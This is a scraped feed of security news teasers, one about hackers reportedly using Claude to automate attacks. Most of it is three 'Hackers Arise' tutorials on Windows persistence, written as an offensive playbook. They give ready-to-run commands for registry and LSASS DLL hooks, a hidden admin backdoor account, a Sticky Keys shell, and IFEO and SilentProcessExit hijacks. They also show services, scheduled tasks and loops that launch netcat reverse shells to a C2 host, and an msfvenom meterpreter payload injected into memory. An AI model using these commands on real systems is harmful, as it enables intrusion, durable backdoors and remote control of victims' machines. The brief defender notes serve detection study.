Amazon threat intelligence experts have documented two cases in which Iran leveraged hacking to prepare for kinetic attacks.
The post Amazon Details Iran’s Cyber-Enabled Kinetic Attacks Linking Digital Spying to Physical Strikes appeared first on SecurityWeek.
Chinese state-backed hackers hijacked Anthropic’s Claude AI to run an autonomous global cyberattack, marking a major shift in AI-driven cyberwarfare.
The post Anthropic: China-Based Hackers Used Claude to Automate Global Cyberattack appeared first on TechRepublic.
Chinese state-backed hackers hijacked Anthropic’s Claude AI to run an autonomous global cyberattack, marking a major shift in AI-driven cyberwarfare.
The post Anthropic: China-Based Hackers Used Claude to Automate Global Cyberattack appeared first on TechRepublic.
NTT’s chief cybersecurity strategist Mihoko Matsubara on the new geopolitics of hacking, the "chicken and egg" problem of 5G, and the AGI threat to society.
The post China’s Cyber Silence Is More Worrying Than Russia’s Noise, Chief Cybersecurity Strategist Says appeared first on SecurityWeek.
Welcome back, aspiring cyberwarriors!
Persistence on Windows systems has always been a cat-and-mouse game between attackers looking for reliable footholds and defenders trying to close down avenues of abuse. Windows itself provides a wide range of mechanisms that are legitimate parts of system functionality, yet each of them can be turned into a way of ensuring malicious code runs again and again after reboot or logon. Registry values, system processes, and initialization routines are all potential targets for persistence, and while most of them were never designed with security in mind, they remain available today. What makes them attractive is durability: once configured, they survive restarts and provide repeated execution opportunities without requiring the attacker to manually re-enter the environment.
The techniques described here are all examples of registry-based persistence, each with its own advantages, drawbacks, and detection footprints. Understanding them is crucial for both attackers– who rely on stability– and defenders– who need to spot tampering before it causes damage.
AppInit is a legacy Windows feature that tells the OS loader to map one or more DLLs into any process that links user32.dll. That means when many GUI apps start, Windows will automatically load the DLLs listed in that registry value, giving whatever code is inside those DLLs a chance to run inside those processes. It’s a registry-based, machine-wide mechanism that survives reboot and affects both 32-bit and 64-bit GUI applications when configured.
cmd#> reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t reg_dword /d 0x1 /f
cmd#> reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t reg_sz /d "C:\meter64.dll" /f
cmd#> reg add "HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t reg_dword /d 0x1 /f
cmd#> reg add "HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t reg_sz /d "C:\meter32.dll" /f
The first command turns the AppInit behavior on for the 64-bit registry view. The second command writes the path to the DLL(s) that Windows should try to load into GUI processes (this value is a string of one or more DLL paths). The next two commands do the same thing for the 32-bit registry view on a 64-bit system. First it will enable the mechanism for 32-bit processes, and then set the 32-bit DLL path.
In plain terms: enable AppInit, tell Windows which DLLs to load, and do it for both 64-bit and 32-bit processes so GUI apps of both architectures will load the specified libraries.
Pros: survives reboots and causes the DLL to be loaded into many GUI processes automatically, giving broad coverage without per-user startup entries.
Cons: requires administrative rights to change HKLM, is noisy because the DLL will appear loaded in many processes (creating strong telemetry), and relies on an older, well-known mechanism that defenders often check.
If you’re a defender, focus on auditing the HKLM Windows keys (including the Wow6432Node path) and monitoring unusual DLL loads into system or common GUI processes.
Modifying LSASS’s configuration to load an extra DLL is a way to get code executed inside a highly privileged, long-lived system process. LSASS is responsible for enforcing security policy and handling credentials. Because it loads configured authentication/notification packages at startup, adding an entry here causes the chosen module to be loaded into that process and remain active across reboots. That makes it powerful, but dangerous.
cmd#> reg add "HKLM\system\currentcontrolset\control\lsa" /v "Notification Packages" /t reg_multi_sz /d "rassfm\0scecli\0meter" /f
The registry command updates Notification Packages multi-string under the LSA key. In simple terms, this line tells Windows “when LSASS starts, also load the packages named rassfm, scecli, meter and force the write if the value already exists.”
Pros: survives reboots and places code inside a long-running, high-privilege process, making the persistence both durable and powerful.
Cons: requires administrative privileges to change the LSA registry, produces extremely high-risk telemetry and stability impact (misconfiguration or a buggy module can crash LSASS and destabilize or render the system unusable), and it is highly suspicious to defenders.
Putting code into LSASS buys durability and access to sensitive material, but it is one of the loudest and riskiest persistence techniques: it demands admin rights, creates strong signals for detection, and can crash the machine if done incorrectly.
Winlogon is the component that handles interactive user logons, and it calls the program(s) listed in the UserInit registry value after authentication completes. By appending an additional executable to that UserInit string you ensure your program is launched automatically every time someone signs in interactively.
cmd#> reg add "HKLM\software\microsoft\windows nt\currentversion\winlogon" /v UserInit /t reg_sz /d "c:\windows\system32\userinit.exe, c:\meter.exe"
This keeps the normal userinit.exe first and appends c:\meter.exe, so when Winlogon runs it will launch userinit.exe and then meter.exe as part of the logon sequence. Be aware that UserInit must include the legitimate userinit.exe path first. Removing or misordering it can break interactive logons and lock users out.
Pros: survives reboots and reliably executes at every interactive user logon, giving consistent persistence across sessions.
Cons: requires administrative privileges to change HKLM, offers no scheduling control (it only runs at logon), and is risky, since misconfiguring the UserInit value can prevent users from logging in and produces obvious forensic signals.
Many Office components read configuration from the current user’s registry hive, and attackers can abuse that by inserting a path or DLL name that Office will load or reference when the user runs the suite. This approach is per-user and survives reboots because the configuration is stored in HKCU, but it only triggers when the victim actually launches the Office component that reads that key. It’s useful when the target regularly uses Office and you want a simple, low-privilege persistence mechanism that doesn’t require installing a service or touching machine-wide autoruns.
cmd$> reg add "HKCU\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d C:\meter.dll
Pros: survives reboots and works from a normal user account because it lives in HKCU, so no administrative rights are required.
Cons: there’s no scheduling control, it only triggers when the user launches the relevant Office component, so you cannot control an execution interval.
Windows persistence through registry modifications offers multiple paths, from legacy AppInit DLL injection to LSASS notification packages, Winlogon UserInit hijacking, and Office registry keys under HKCU. Each of these methods survives reboots, ensuring repeated code execution, but they vary in scope and stealth. AppInit and Office rely on application startup, while LSASS and Winlogon provide broader and more privileged coverage. All require different levels of access, with the most powerful options also being the loudest in telemetry and the riskiest to system stability. For defenders, the key takeaway is clear: monitoring critical registry keys under HKLM and HKCU, watching for unusual DLL or executable loads, and ensuring proper auditing are essential.
The post Advanced Windows Persistence, Part 2: Using the Registry to Maintain Persistence first appeared on Hackers Arise.
Welcome back, my aspiring cyberwarriors!
Persistence is one of the core objectives of any successful intrusion, ensuring that an attacker can return to a compromised system even after reboots, logouts, or system maintenance. While much attention is often given to executable droppers, services, or scheduled tasks, there exists an entire class of persistence methods that operate purely through configuration changes. These techniques manipulate the operating system’s own settings, registry keys, and management frameworks. Because of this, they are often stealthier, more resilient, and harder to detect with conventional security tools that focus on scanning executables. In this article we will cover several configuration-based persistence strategies on Windows, ranging from user and registry manipulation to more advanced abuses of Image File Execution Options (IFEO), Global Flags with SilentProcessExit, and WMI event subscriptions. Each method shows the tradeoff between durability and detectability, showing how you can weaponize legitimate administrative features to quietly secure long-term access.
Unlike other persistence methods that rely on executables or scheduled triggers, configuration-based persistence works by altering the system’s own settings. This makes it both subtle and durable: no additional binaries are introduced, nothing new needs to be launched explicitly, and antivirus tools that focus on scanning executables have very little to detect. However, this approach usually requires administrative access to the target machine, since you must modify accounts, registry keys, or remote access settings. It also assumes the system is reachable later, for example via RDP, which is not always the case if it is hidden behind NAT or a firewall.
cmd#> net user hacker p@ssw0rd /add
cmd#> net localgroup administrators /add hacker
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v attacker /t REG_DWORD /d 0 /f
The first two commands create a new local user and add it to the privileged group. Then, the registry command hides the “attacker” account from the Windows logon screen, though it remains valid for interactive and remote login. Together, these steps provide a stealthy backdoor user that blends into the system and can be used for later access.
Next we move to a more aggressive form of configuration backdoor:
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t reg_sz /d "\windows\system32\cmd.exe"
cmd#> reg add "HKLM\system\currentcontrolset\control\Terminal Server\WinStations\RDP‐Tcp" /v UserAuthentication /t REG_DWORD /d 0x0 /f
By writing a Debugger value for sethc.exe (the Sticky Keys accessibility tool), the attacker replaces its execution with cmd.exe. Pressing Shift five times at the logon screen, instead of opening Sticky Keys, will spawn a command shell running with SYSTEM privileges. In addition, modifying RDP-Tcp with UserAuthentication set to 0 lowers the requirement for Network Level Authentication (NLA), allowing you to establish an RDP connection without the credentials. This pair of changes creates a reliable way to recover access directly from the Windows login screen.
Pros: highly persistent and stealthy since it modifies system settings rather than adding new binaries, and it survives reboots without leaving a typical malware footprint.
Cons: requires administrative privileges and is only effective if the attacker can later connect to the host directly. If the machine sits behind NAT or a restrictive firewall, the persistence mechanism may not be reachable.
Instead of altering a program on disk, Windows allows a “debugger” to be attached whenever a specific executable is launched. As a hacker you can abuse this feature by setting a Debugger value for a target process so that Windows starts your command line whenever the user opens that program. The original binary remains intact and launches as usual, but the Debugger command can prepend or append additional behavior. Because this configuration lives in the registry under HKLM, it persists across reboots and does not rely on autorun folders or scheduled triggers.
cmd#> copy calc.exe _calc.exe
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t reg_sz /d "cmd /C _calc.exe & c:\windows\nc.exe ‐e c:\windows\system32\cmd.exe C2 9001" /f
When the victim starts Calculator, Windows checks IFEO, sees a Debugger set, and runs that command instead of directly running calc.exe. The cmd /C wrapper executes the two chained statements: first _calc.exe (so the user still sees a normal Calculator window), then, after _calc.exe exits, it executes the Netcat line. The single & operator means the second command runs after the first completes, so the reverse shell attempt is deferred until the user closes Calculator. Because the key is under HKLM, creating or modifying it requires administrative privileges. Once set, any user who launches Calculator will trigger the chain.
Pros: persists across reboots while leaving the original application unmodified, and it triggers naturally when a user opens a specific program.
Cons: requires administrative rights to set the HKLM IFEO key and is highly visible to security monitoring because non-developer Debugger values are a known abuse pattern.
IFEO hijacking is elegant because it avoids patching binaries and uses a legitimate Windows feature as the trigger. It is also straightforward to detect and remediate: defenders regularly audit Image File Execution Options for unexpected Debugger entries, and many EDR products alert on their creation. If the targeted program behaves oddly or fails to start under some conditions, the user may notice.
Windows includes hidden debugging and tracing features that can be abused for persistence. One such feature is the SilentProcessExit mechanism, which allows administrators to configure special actions when a process terminates. By combining this with the GlobalFlag registry setting under Image File Execution Options (IFEO), a hacker can ensure that when a chosen application closes, another process of their choice will be launched. Unlike traditional autorun or scheduled task techniques, this method hides deeper in Windows’ diagnostic infrastructure and is therefore less obvious to casual inspection.
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "nc ‐e \windows\system32\cmd.exe C2 9001"
The commands provided configure this for Notepad. The first registry modification sets the GlobalFlag value for notepad.exe to 512, which is a flag telling Windows to monitor the process for a “silent process exit.” The next command enables reporting for when Notepad exits. The final one specifies the command to run when that happens. In this configuration, each time a user closes Notepad, the system silently triggers a Netcat reverse shell.
Pros: survives reboots and is not detected by common persistence auditing tools such as Autoruns, since it relies on less-known registry branches rather than Startup, Run keys, or services.
Cons: requires administrative rights to set IFEO and SilentProcessExit values, and defenders who know where to look can discover and remove the entries by auditing the relevant registry paths.
This persistence trick is subtle because it hooks into a diagnostic mechanism rather than mainstream autorun locations. It will not appear in most autorun inspection tools, which makes it attractive to attackers aiming for stealth. However, it is not invisible: defenders aware of SilentProcessExit can query and monitor those registry keys for unexpected values.
Windows Management Instrumentation (WMI) provides a rich, system-level framework for monitoring and automation that administrators use for telemetry and scheduled actions. Attackers can abuse WMI by creating permanent event subscriptions that live inside the WMI repository and trigger payloads on timers or system events. Because these subscriptions are stored in WMI rather than in obvious autorun registry keys or startup folders, they are stealthier and harder to spot with casual inspection tools, and they persist across reboots until explicitly removed from the repository.
cmd#> wmic /NAMESPACE:"\root\subscription" PATH __EventFilter CREATE Name="persistence", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
cmd#> wmic /NAMESPACE:"\root\subscription" PATH CommandLineEventConsumer CREATE Name="persistence", ExecutablePath="C:\file.exe",CommandLineTemplate="C:\file.exe"
cmd#> wmic /NAMESPACE:"\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="persistence"", Consumer="CommandLineEventConsumer.Name="persistence""
The first command creates an event filter that will produce a periodic trigger without needing an external driver or service. The second command creates a consumer that describes what should run when the filter fires. The third command binds the filter to the consumer so the event actually causes execution. Together these three commands create a durable subscription inside the WMI repository that causes the specified command to run on the chosen interval or condition.
Pros: survives reboots and supports finely controlled triggers (periodic timers, event-based conditions) while hiding persistence inside the WMI repository rather than in widely-scanned autorun locations.
Cons: requires administrative privileges to create permanent subscriptions and leaves artifacts in the WMI repository that can be enumerated and removed by defenders who know to inspect WMI event subscriptions.
WMI event subscriptions are powerful and flexible for long-lived persistence because they blend into the system management layer and are not visible using lightweight autorun checks. This stealth makes them high-value targets for defensive hunting: enumerating subscriptions, collecting the WMI repository, and monitoring for newly created filters, consumers and bindings are effective ways to detect and remediate this technique.
Configuration-based persistence techniques represent a subtle but formidable way for attackers to maintain access on Windows systems. By creating hidden accounts, hijacking accessibility tools, lowering RDP security requirements, or embedding logic into registry-based debugging features, you can establish backdoors that blend into system behavior rather than standing out as foreign binaries. IFEO hijacking and GFlags/SilentProcessExit mechanisms show how diagnostic infrastructure can be repurposed to launch payloads, while WMI event subscriptions demonstrate the power of system management features to provide long-lived, flexible triggers. The key strengths of these approaches lie in their stealth, durability across reboots, and reliance on trusted system mechanisms. However, they also share limitations: they typically require administrative privileges and leave artifacts that defenders who know where to look can uncover. For security teams, awareness of these less conventional persistence vectors is critical, as standard autorun and scheduled task auditing alone will not expose them.
In Part 2, we will leverage AppInit, LSASS, Winlogon, and Office to establish persistence on Windows.
The post Advanced Windows Persistence, Part 1: Remaining Inside the Windows Target first appeared on Hackers Arise.
Hello cyberwarriors!
This module takes the often-confusing topic of Windows persistence and turns it into a pragmatic playbook you can use during real engagements. In this part we start small and build up: short-lived shell loops that are easy to launch from any user context, autostart locations and registry Run keys that provide reliable logon-time execution, scheduled tasks that offer precise timing and powerful run-as options, Windows services that deliver the most durable, pre-logon persistence, and in-memory techniques that minimize on-disk traces.
Techniques are shown with privileged # and non-privileged $ examples, so you can see what’s possible from the access you already have. Every method shows the balance between how secret it is, whether it stays after a restart, and what permissions you need to make it work.
Ultimately this module is designed to be immediately useful in the ongoing cyber conflict context. It is compact with repeatable techniques for maintaining access when appropriate.
Persistence can be achieved directly from a command prompt by creating a small looping construct that repeatedly launches a reverse or bind shell and then pauses for a fixed interval. The technique relies on a persistent cmd.exe process that keeps retrying the connection instead of using service registration or scheduled tasks. It’s a quick, user-space way to try to maintain an interactive foothold while the process lives. The example command is:
cmd$> start cmd /C "for /L %n in (1,0,10) do ( nc.exe C2 9001 -e cmd.exe & ping -n 60 127.0.0.1 )"
This runs a new command shell to execute the quoted loop. The for /L construct is used to execute the loop body repeatedly. In practice the parameters chosen here make the body run continuously. Inside the loop the nc.exe invocation attempts to connect back to the C2.
The chained ping -n 60 127.0.0.1 acts as a simple portable sleep to insert a roughly one-minute delay between connection attempts.
Pros: allows a controllable retry interval and can be launched from any user account without special privileges.
Cons: the loop stops on reboot, logoff, or if the shell/window is closed, so it does not survive reboots.
This method is useful when you already have an interactive session and want a low-effort way to keep trying to reconnect, but it’s a volatile form of persistence. Treat it as temporary rather than reliable long-term access. From a defensive perspective, repeated processes with outbound network connections are a high-value detection signal.
Autostart locations are the canonical Windows persistence vectors because the operating system itself will execute items placed there at user logon or system startup. The two typical approaches shown are copying an executable into a Startup folder and creating entries under the Run registry keys. Below are two separate techniques you can use depending on your privileges:
cmd$> copy persistence.exe %APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
cmd$> reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\users\username\persistence.exe"
cmd#> copy persistence.exe C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
cmd#> reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\Windows\system32\persistence.exe"
Placing an executable (or a shortcut to it) in a per-user Startup folder causes the Windows shell to launch that item when the specific user signs in. Using the ProgramData (all-users) Startup folder causes the item to be launched for any interactive login.
Writing a value into HKCU\Software\Microsoft\Windows\CurrentVersion\Run registers a command line that will be executed at logon for the current user and can usually be created without elevated privileges. Writing into HKLM\Software\Microsoft\Windows\CurrentVersion\Run creates a machine-wide autorun and requires administrative rights.
Pros: survives reboots and will automatically run at each interactive logon (per-user or machine-wide), providing reliable persistence across sessions.
Cons: startup autoruns have no fine-grained execution interval (they only run at logon) and are a well-known, easily monitored location, making them more likely to be detected and removed.
Using a Windows service to hold a backdoor is more robust than a simple autostart because the Service Control Manager (SCM) will manage the process lifecycle for you. Services can be configured to start at boot, run before any user logs on, run under powerful accounts (LocalSystem, NetworkService, or a specified user), and automatically restart if they crash. Creating a service requires administrative privileges, but once installed it provides a durable, system-integrated persistence mechanism that survives reboots and can recover from failures without manual intervention.
cmd#> sc create persistence binPath= "nc.exe ‐e \windows\system32\cmd.exe C2 9001" start= auto
cmd#> sc failure persistence reset= 0 actions= restart/60000/restart/60000/restart/60000
cmd#> sc start persistence
The first line uses sc create to register a new service named persistence. The binPath= argument provides the command line the service manager will run when starting the service. In practice this should be a quoted path that includes any required arguments, and many administrators prefer absolute paths to avoid ambiguity. start= auto sets the service start type to automatic so SCM will attempt to launch it during system boot.
The second line configures the service recovery policy with sc failure: reset= 0 configures the failure count reset interval (here set to zero, meaning the failure count does not automatically reset after a timeout), and actions= restart/60000/restart/60000/restart/60000 tells the SCM to attempt a restart after 60,000 milliseconds (60 seconds) on the first, second and subsequent failures. This allows the service to be automatically relaunched if it crashes or is killed.
The third line, sc start persistence, instructs SCM to start the service immediately.
Pros: survives reboot, runs before user logon, can run under powerful system accounts, and can be configured with automatic restart intervals via the service recovery options.
Cons: creating or modifying services requires administrative privileges and is highly visible and auditable (service creation, service starts/stops and related events are logged and commonly monitored by endpoint protection and EDR solutions).
Scheduled tasks are a convenient and flexible way to maintain access because the Windows Task Scheduler supports a wide variety of triggers, run-as accounts, and recovery behavior. Compared with simple autostart locations, scheduled tasks allow precise control over when and how often a program runs, can run under powerful system accounts, and survive reboots. Creating or modifying scheduled tasks normally requires administrative privileges.
cmd#> schtasks /create /ru SYSTEM /sc MINUTE /MO 1 /tn persistence /tr "c:\temp\nc.exe -e c:\windows\system32\cmd.exe C2 9001"
Here the schtasks /create creates a new scheduled task named persistence. The /ru SYSTEM argument tells Task Scheduler to run the job as the SYSTEM account (no password required for well-known service accounts), which gives the payload high privileges at runtime. The /sc MINUTE /MO 1 options set the schedule type to “minute” with a modifier of 1, meaning the task is scheduled to run every minute. /tn persistence gives the task its name, and /tr "..." specifies the exact command line the task will execute when triggered. Because Task Scheduler runs scheduled jobs independently of an interactive user session, the task will execute even when no one is logged in, and it will persist across reboots until removed.
Pros: survives reboot and provides a tightly controlled, repeatable execution interval (you can schedule per-minute, hourly, daily, on specific events, or create complex triggers), and tasks can be configured to run under high-privilege accounts such as SYSTEM.
Cons: creating or modifying scheduled tasks typically requires administrative privileges and Task Scheduler events are auditable and commonly monitored by enterprise defenses.
In-memory persistence refers to techniques that load malicious code directly into a running process’s memory without writing a persistent binary to disk. The goal is to maintain a live foothold while minimizing on-disk artifacts that antiviruses and file-based scanners typically inspect. A common pattern is to craft a payload that is intended to execute only in RAM and then use some form of process injection (for example, creating a remote thread in a legitimate process, reflective DLL loading, or other in-memory execution primitives) to run that payload inside a benign host process. The technique is often used for short-lived stealthy access, post-exploitation lateral movement, or when the attacker wants to avoid leaving forensic traces on disk.
First you generate a payload with msfvenom:
c2 > msfvenom ‐p windows/x64/meterpreter/reverse_tcp LHOST=C2_IP LPORT=9007 ‐f raw ‐o meter64.bin StagerRetryCount=999999
And then inject it into a running process:
cmd$> inject_windows.exe PID meter64.bin
Pros: extremely low on-disk footprint and difficult for traditional antivirus to detect, since there is no persistent executable to scan and many memory-only operations generate minimal file or registry artifacts.
Cons: does not survive a reboot and requires a mechanism to get code into a process’s memory (which is often noisy and produces behavioral telemetry that modern endpoint detection and response solutions can flag).
Defenders may monitor for anomalous process behavior such as unexpected parent/child relationships, unusual modules loaded into long-lived system processes, creation of remote threads, or unusual memory protections being changed at runtime.
We explored different basic Windows persistence options by comparing durability, visibility, and privilege requirements: simple shell loops let you keep retrying a connection from a user shell without elevation but stop at logoff or reboot. Autostart provides reliable logon-time execution and can be per-user or machine-wide depending on privileges. Scheduled tasks give precise, repeatable execution (including SYSTEM) and survive reboots. Services offer the most durable, pre-logon, auto-restarting system-level persistence but require administrative rights and are highly auditable. In-memory techniques avoid on-disk artifacts and are stealthier but do not persist across reboots and often produce behavioral telemetry. The core trade-off is that greater restart resilience and privilege typically mean more detectable forensic signals, defenders should therefore watch for repeated outbound connection patterns, unexpected autoruns, newly created services or scheduled tasks, and anomalous in-memory activity.
In the first part of Advanced Windows Persistence, we will dive into advanced techniques that will leverage the Configs, Debugger, GFlags and WMI.
The post Post Exploitation: Maintaining Persistence in Windows first appeared on Hackers Arise.
It was a busy week in security.
Newly released documents shown exclusively to TechCrunch show that U.S. immigration authorities used a controversial cell phone snooping technology known as a “stingray” hundreds of times in the past three years. Also, if you haven’t updated your Android phone in a while, now would be a good time to check. That’s because a brand-new security vulnerability was found — and patched. The bug, if exploited, could let a malicious app trick a user into thinking they’re using a legitimate app that can be used to steal passwords.
Here’s more from the week.
Decrypted: iOS 13.5 jailbreak, FBI slams Apple, VCs talk cybersecurity by Zack Whittaker originally published on TechCrunch
Login